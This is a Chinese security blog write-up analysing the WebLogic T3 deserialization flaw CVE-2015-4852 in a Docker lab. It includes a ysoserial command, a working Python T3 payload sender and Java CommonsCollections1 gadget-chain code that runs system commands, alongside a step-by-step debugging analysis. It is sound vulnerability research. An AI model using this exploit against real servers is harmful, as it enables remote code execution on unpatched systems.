WebLogic系列漏洞学习之T3:CVE-2015-4852

本文已投稿雷神众测公众号:https://mp.weixin.qq.com/s/iyhfeWofVoq0VBQ35vGUCQ

0x00 前言

15年由FoxGlove团队爆出的Java反序列化漏洞,让weblogic、Websphere、Jenkins等都纷纷中招,本文以WebLogic漏洞来进行探索,也算是老生常谈。虽然网上有一些分析CVE-2015-4852的文章,但是有很多地方对于我这样的小白不太能理解,还有很多直接对CommonsCollections分析的,不能解答我的困惑。在开始分析前,先记录下,有两个问题需要我探索。

  1. 为什么CommonsCollections能在WebLogic中经过T3自动引发?在收到数据后Weblogic到底怎么操作然后调用CommonsCollections的
  2. 为什么CommonsCollections能够引起命令执行,需要什么条件?有哪些类是类似的?

文笔粗糙,如有不当,请各位师傅批评指正。

0x01 复现

环境搭建

环境:centos7.3; docker + docker-compose

  • vim Dockerfile
1
2
3
4
5
6
FROM vulhub/weblogic

ENV debugFlag true

EXPOSE 7001
EXPOSE 8453
  • vim docker-compose.yml
1
2
3
4
5
6
7
version: '2'
services:
weblogic:
build: .
ports:
- "7001:7001"
- "8453:8453"
  • docker-compose up -d
  • 本地访问192.168.132:7001

复现

ysoserial先生成反序列化文件

1
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections1 "touch /tmp/success" > poc.ser

用之前学习T3时的脚本发送恶意数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import binascii
import socket
import time

def exp(ip, port, file):
t3_header = 't3 10.3.6\nAS:255\nHL:19\n\n'
host = (ip, int(port))
# socket connect
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(15)
sock.connect(host)
# send t3 header
sock.send(t3_header.encode('utf-8'))
# time.sleep(1)
resp1 = sock.recv(1024)
# first part
data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
# second part, BIN -> HEX
with open(file, 'rb') as f:
payload = binascii.b2a_hex(f.read()).decode('utf-8')
# join
data = data1 + payload
# get lenth and join
data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
# a2b: HEX -> BIN
sock.send(binascii.a2b_hex(data))

if __name__ == '__main__':
exp('192.168.116.132','7001','E:\poc.ser')

进入容器,验证是否执行成功

1
2
docker exec -it 363 bash
ls /tmp

成功创建success文件

image-20200722160553546

0x02 深入分析

远程调试

搭建环境复现的时候我们已经对容器开去了远程调试服务,下面只需要对本地IDEA环境进行部署。

首先从容器拷贝root目录,然后单独将相关的jar包拷贝出来

1
2
3
docker cp 363:/root .
mkdir jar_lib
find ./ -name *.jar -exec cp {} jar_lib/ \;

将上述jar_lib和root放到本地,然后用IDEA打开root/Oracle/Middleware/wlserver_10.3,将jar_lib加入libraries

image-20200722164315987

选择weblogic自带的jdk root/jdk/jdk1.6.0_45

image-20200722170913658

添加远程JVM

image-20200722171057111

然后debug,出现下图说明连接上了远程JVM

image-20200722171319833

Weblogic源码分析

ok,到这里我们万事俱备,只差Debug的入口,从哪里入口是一个难题。

首先我考虑的是T3相关的jar,那肯定T3相关的处理能拦截到,但是在weblogic.jar下面找了几个T3的试了下都不成功

1
2
3
weblogic.common.T3Connection #不能拦截
weblogic.common.T3Client #不能拦截
weblogic.rjvm.t3.ProtocolHandlerT3 #能拦截,但是只要发送包就会拦截,发送协议头就被拦截了,不符合要求

然后在我有点绝望的时候,在Weblogic漏洞Java反序列化CVE-2015-4852解析博客中发现有说明漏洞的补丁情况

image-20200722234401540

所以就想我为什么不能在这些地方打断点分析呢?通过快捷键(双击shift)查找,找到了这些类的位置如下

1
2
3
wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev
wlthint3client.jar:weblogic.rjvm.MsgAbbrevInputStream
weblogic.jar:weblogic.iiop.Utils

在wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev:23行这里打断点试试,然后执行脚本,成功拦截

image-20200723000811203

参数var1.head可以看到是我们发送的包含了反序列化数据的包,InboundMsgAbbrev#read()应该是处理从客户端接收到的数据进行读取

image-20200723004828247

往下执行到readObject,我们F7进入该方法进行分析

image-20200723102516480

执行var1.read,继续F7深入

image-20200723010242010

进入到readObject(),往下执行var2=0进入case 0,return (new InboundMsgAbbrev.ServerChannelInputStream(var1)).readObject();

我们先分析new InboundMsgAbbrev.ServerChannelInputStream(var1)

image-20200723011015134

进入后,继续深入getServerChannel()

image-20200723011309520

然后进入到weblogic.rjvm.MsgAbbrevInputStream#getServerChannel(),这个类就是我们刚刚看到的打补丁的第二个地方

image-20200723011634515

继续深入getChannel看看,这次不是在同一个jar了,进入到了 weblogic.jar:weblogic.rjvm.t3.MuxableSocketT3.T3MsgAbbrevJVMConnection#getChannel(),这里是刚开始找debug入口时看到的类,处理T3协议的socket

image-20200723011954330

继续深入进入weblogic.socket.BaseAbstractMuxableSocket(BaseAbstractMuxableSocket implements MuxableSocket, SocketRuntime, ContextHandler, Serializable)

image-20200723012246853

返回了channel,这个时候看到了(“AS:” + MsgAbbrevJVMConnection.ABBREV_TABLE_SIZE + “\n” + “HL” + “:” + 19 + “\n\n”)跟之前学习T3的包联系上了

image-20200723012342993

继续执行,一步步返回到了最初的位置,这个时候完成了ServerChannelInputStream的实例,其实到这里我们可以看出经过这几个步骤,能够对传入的socket进行T3的处理,获取到信息流。接下来调用readObject,我们需要认真分析下这个

image-20200723012632169

进入ChunkedObjectInputStream#read(),curEndEnvelop=-1,调用super.read(),F7进入read()

image-20200723110516481

进入到了ChunkedInputStream#read(),该方法主要是读取head数据也就是我们发送的包

image-20200723111744197

继续返回ChunkedObjectInputStream#read(),会继续调用ChunkedObjectInputStream#read(var1,var2,var3)以及ChunkedInputStream#read(var1,var2,var3),往后执行,发现这几个方法是对数据流进行分块处理,按照7870即xp将序列化部分分块,依次解析每块的类,然后去执行

image-20200723153407271

以下为分析过程中记录的每个分块的类的通过resolveClass()方法进行的解析

chunkedpos从109-239,sun.reflect.annotation.AnnotationInvocationHandler

image-20200723161034461

chunkedpos从239-393,org.apache.commons.collections.map.TransformedMap

image-20200723163029568

chunkedpos从239-533,org.apache.commons.collections.functors.ChainedTransformer

image-20200723164920876

chunkedpos从533-595,[Lorg.apache.commons.collections.Transformer;

image-20200723165303093

chunkedpos从595-708,org.apache.commons.collections.functors.ConstantTransformer

image-20200723165816296

chunkedpos从708-742,java.lang.Runtime

image-20200723170135374

chunkedpos从742-917,org.apache.commons.collections.functors.InvokerTransformer

image-20200723170853261

chunkedpos从917-953,[Ljava.lang.Object;

image-20200723171216583

chunkedpos从953-1018,[Ljava.lang.Class;

image-20200723171646692

chunkedpos从1018-1055,java.lang.String

image-20200723171927667

chunkedpos从1055-1131,java.lang.Object

image-20200723172637138

chunkedpos从1131-1256,java.util.HashMap

image-20200723174345127

chunkedpos从1256-1338,java.lang.annotation.Retention

image-20200723183948828

根据上面的解析对应到包其实就是下面的图,也就是在反序列化过程中我们调用的类

image-20200723193311193

image-20200723194727483

到这里我们解答了一开始提出的第一个问题:为什么CommonsCollections能在WebLogic中经过T3自动引发?在收到数据后Weblogic到底怎么操作然后调用CommonsCollections的?也就是刚刚说的wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev将T3数据流的序列化部分依次分块通过resolveClass()来解析类,因为没有在对序列化数据解析时判断他是否安全,没有任何过滤,所以可以直接调用CommonsCollections1中涉及到的所有类。

CommonsCollections1分析

第一个调用CommonsCollections的问题我们清楚了,现在需要探讨第二个问题为什么CommonsCollections能够引起命令执行

网上模仿ysoserial的CommonsCollections1的代码,这里用的是LazyMap利用链

image-20200727142144289

思路:执行代码生成序列化数据,在这个过程中深入看看到底是怎么执行的命令。这里有个坑,我刚开始执行的时候没有弹出计算器,用的jdk1.8_111,后来换了jdk1.6_45可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package Pocs.WebLogic;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CVE_2015_4852 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

Transformer chain = new ChainedTransformer(transformers);

HashMap<String, String> innerMap = new HashMap<String, String>();

Map lazyMap = LazyMap.decorate(innerMap, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);

InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class, mapProxy);

// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler1);
oos.flush();
oos.close();
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}

需要导入CommonsCollections,因为在之前的weblogic包里面没有找到,就去容器里面找到了,导入到项目里面即可。

image-20200722194206028

在Transformer[]数组这里打上断点,开始一步一步分析这段代码

image-20200727145037589

为了方便梳理,我们分为三部分进行分析:

image-20200728102258009

分析第一部分

先生成Transformer数组,值分别是1个ConstantTransformer对象和3个InvokerTransformer对象

image-20200727145114068

先看下Transformer,CTRL+H可以看到Transformer的继承实现关系,ConstantTransformer和InvokerTransformer都实现了Transformer,这里提一下ChainedTransformer也实现了Transformer,后面会用到。

image-20200727111550828

Transformer官方文档说明了这个接口主要是用来将一个对象转换为另一个对象

image-20200727144619522

回到main,步入分析下每个对象的生成

image-20200727145122952

ConstantTransformer(Object constantToReturn),构造一个ConstantTransformer对象,并且设置对象的iConstant值为传入的参数值;重写transformer,返回构造函数传入的值,该值是class类型

image-20200727172157127

InvokerTransformer(String methodName, Class[] paramTypes, Object[] args):构造函数获取方法名、参数类型、参数将其赋值给对象;transform(Object input) 获取类的方法名、参数类型、参数 采用反射机制调用该方法

image-20200727185743443

new Transformer[]完成,此时我们生成了一个transformer数组如下图

image-20200728111018511

接着new一个ChainedTransformer,F7步入分析

image-20200727203858505

ChainedTransformer(Transformer[] transformers):将参数Transformer数组 赋值给对象;transform(Object object)将TransFormer数组的值 依次执行数组每个对象的transform()方法,也就是按照数组顺序去调用transform(),这里有一点容易遗漏,每次调用完transform()会赋值给Object作为下一次调用transform的参数。

image-20200727195322478

以上我们在分析transformer接口的实现类时都分析了它的实现方法transform(),这个是后面要用到的

到这里new ChainedTransformer()完成

分析第二部分

我们继续往下,生成一个HashMap的实例innerMap,接着调用LazyMap.decorate(innerMap, chain)

image-20200727211240947

这里我们看下HashMap和LazyMap,以一段代码来分析下。我们测试了两个实例,一个时LazyMap的Factory factory,一个是LazyMap的Transformer factory。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package Pocs.WebLogic;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;

public class MapTest {
public static void main(String arg[]) {
testLazyMap();
testLazyMapTransformer();
}

public static void testLazyMap() { //LazyMap的Factory factory测试
Factory valFactory = new Factory() { //创建一个工厂,实现create方法
public Object create() {
return "Factory test";
}
};
Map lazyMap = LazyMap.decorate(new HashMap(), valFactory); //当此lazyMap调用get(key)时,如果无此key则返回varFactory里create方法返回的值
lazyMap.put("Map", "Maptest");
System.out.println(lazyMap.get("Map")); //有key对应的值时
System.out.println(lazyMap.get(123)); //无此key时自动调用varFactory里create方法
}

public static void testLazyMapTransformer() { //LazyMap的Transformer factory测试
Transformer transformer = new Transformer() {//创建一个transformer
@Override
public Object transform(Object o) {
return "Transformer test";
}
};
Map lazyMap = LazyMap.decorate(new HashMap(), transformer); //当此lazyMap调用get(key)时,如果无此key则调用Transformer的transform方法
lazyMap.put("Map", "Maptest");
System.out.println(lazyMap.get("Map")); //有key对应的值时
System.out.println(lazyMap.get(123)); //无此key时自动调用Transformer的transform方法
}
}

image-20200728105558850

从以上代码我们可以看出,在testLazyMapTransformer中,我们首先实现了Transformer,重写了transform方法,然后new了一个普通的HashMap,调用LazyMap.decorate(new HashMap(), transformer),相当于提前定义了在hashMap中对没有key存在的情况的处理方法,就是调用Transformer.transform()。

现在我们回来刚刚的位置,调用LazyMap,步入分析LazyMap将innerMap和chain赋值给对象的属性map和factory,这里chain也是Transformer类型的。根据我们上面的分析,在调用LazyMap.decorate(innerMap, chain)的时候,就是定义了innerMap的无key处理方法:去自动调用chain.transform()。

image-20200727210203651

到这里我们基本已经清晰了一半

  1. 创建了一个Transform数组,这个数组的值是一个ContranTransformer和三个InvokerTransformer对象,ContranTransformer.transformer()可以返回class【这里是Runtime】,而InvokerTransformer可以通过反射机制去执行我们想要执行的方法,也就是getRuntime()、invoke、exec
  2. new ChainedTransformer(transformers)创建一个ChainedTransformer实例,将Transform数组赋值给对象,ChainedTransformer.transform()将TransFormer数组的每个对象按照顺序依次执行数组每个对象的transform()方法
  3. LazyMap.decorate(innerMap, chain)定义了innerMap的无key处理方法:去自动调用chain.transform()
  4. 完成以上三步,当我们获取LazyMap的key不存在时,就会去调用chain.transform(),从而依次4个对象的transform(),也就是下图 1 先获取类Runtime,2 getMethod(getRuntime),3 invoke(),4 exec(“calc”),因为前一个执行的结果会作为参数给下一个调用,所以最后会执行Runtime.getRuntime().exec(“calc”)

image-20200727204747709

分析第三部分

继续往下分析,Class.forName获取AnnotationInvocationHandler类,接着 clazz.getDeclaredConstructor获取构造方法sun.reflect.annotation.AnnotationInvocationHandler(java.lang.Class, java.util.Map),设置可调用

image-20200727213721378

下面就是动态代理部分,结合之前学习的动态代理步骤来理解下

image-20200727231807422

1、(InvocationHandler) cons.newInstance(Override.class, lazyMap)相当于sun.reflect.annotation.AnnotationInvocationHandler(Override.class, LazyMap),构造了一个AnnotationInvocationHandler实例handler。学习动态代理时我们知道需要InvocationHandler的invoke()来进行代理,所以AnnotationInvocationHandler必须实现了InvocationHandler和重写Invoke方法。所以这里我们分析下AnnotationInvocationHandler的构造函数和Invoke方法。

AnnotationInvocationHandler(Override.class, lazyMap)构造方法将参数值赋给属性;

结合下面创建代理用的接口是Map,分析invoke(),重点是三步:

1
2
3
4
5
6
7
// var2是Map接口的某个方法
//获取方法名
String var4 = var2.getName();
//获取方法的参数类型,var3是传入的参数
Class[] var5 = var2.getParameterTypes();
//LazyMap.get(Map任一方法的名称),这里是非常关键的一点,这一这里用到了LazyMap的get方法也就是get Key,上面分析过,key不存在时,就会去调用chain的transform()
Object var6 = this.memberValues.get(var4);

image-20200728145807642

2、LazyMap.class.getClassLoader()指定LazyMap的类加载、LazyMap.class.getInterfaces()指定LazyMap的接口作为被代理的对象,那么就是LazyMap继承的接口Map的方法,所以其实这里被代理对象是Map的方法

3、Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler):结合上面1、2步骤的分析其实很清楚了,用handler的invoke()代理Map接口的方法,而invoke()中有关键的一步this.memberValues.get(var4),会调用LazyMap.get(Map任一方法的名称),从而调用chain.transform()。所以当我们调用mapProxy的被代理方法,也就是Map的任一方法就会去触发调用invoke()从而调用chain.transform()

4、InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class, mapProxy):创建一个实例handler1,这时将mapProxy赋值给this.memberValues

5、下面就是序列化和反序列,在这里我困惑了好久,不知道到底怎么去调用的Map的某个方法来触发的。ysoserial的Gadget chain里面有AnnotationInvocationHandler.readObject,没理解怎么就调用了AnnotationInvocationHandler.readObject(),看了E_Bwill大佬的深入理解 JAVA 反序列化漏洞我终于明白了。

看下面的这个例子,我们要进行序列化的对象如果重写了readObject()方法,在反序列化时会调用重写后的readObject()。这也就解释了为什么Object obj = (Object) ois.readObject()这里会调用AnnotationInvocationHandler.readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.*;

public class ReadObjectTest {
public static void main(String[] args) throws Exception{
//创建一个ReadObjectOverride对象
ReadObjectOverride readObjectOverride = new ReadObjectOverride();
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(readObjectOverride);
oos.flush();
oos.close();
// 反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}

class ReadObjectOverride implements Serializable{
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}

而AnnotationInvocationHandler.readObject()里面调用了我们刚刚分析的触发点Map接口的方法也就是Map.entrySet()。

image-20200728165240568

梳理下:

  1. 首先利用ChainedTransformer的transform()的循环调用特性创建了exec执行链chain
  2. 利用LazyMap的decorate()定义了get key不存在时的调用Transformer工厂chain.transform()
  3. 找到条件去get(不存在的key)从而调用工厂,这个条件就是动态代理AnnotationInvocationHandler.invoke()
  4. 创建动态代理来代理Map的所有接口,只要调用Map的接口就会去调用代理方法AnnotationInvocationHandler.invoke()
  5. 找到触发点触发代理invoke(),就是AnnotationInvocationHandler.readObject(),因为readObject()调用了Map接口entrySet()

0x03 思考和启发

在前言的问题“为什么CommonsCollections能够引起命令执行,需要什么条件?有哪些类是类似的?”我们解决了前一部分问题,哪些类是类似的,可以被用作反序列来执行命令,需要我们去寻找。

通过上面的分析也给我们后续学习或者挖洞提供了一点思路:首先我们需要找一个接收序列化数据的入口,便于我们传序列化数据,传入后程序需要进行反序列化;然后我们需要找到能够执行命令的利用链,并且这个利用链是不被服务器拦截的。

还是那句话,纸上得来终觉浅, 绝知此事要躬行。

0x04 参考链接:

What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.
IDEA+docker,进行远程漏洞调试(weblogic)
以Commons-Collections为例谈Java反序列化POC的编写
Java反序列化漏洞分析
Weblogic漏洞Java反序列化CVE-2015-4852解析
BidiMap-MultiMap-LazyMap
深入理解 JAVA 反序列化漏洞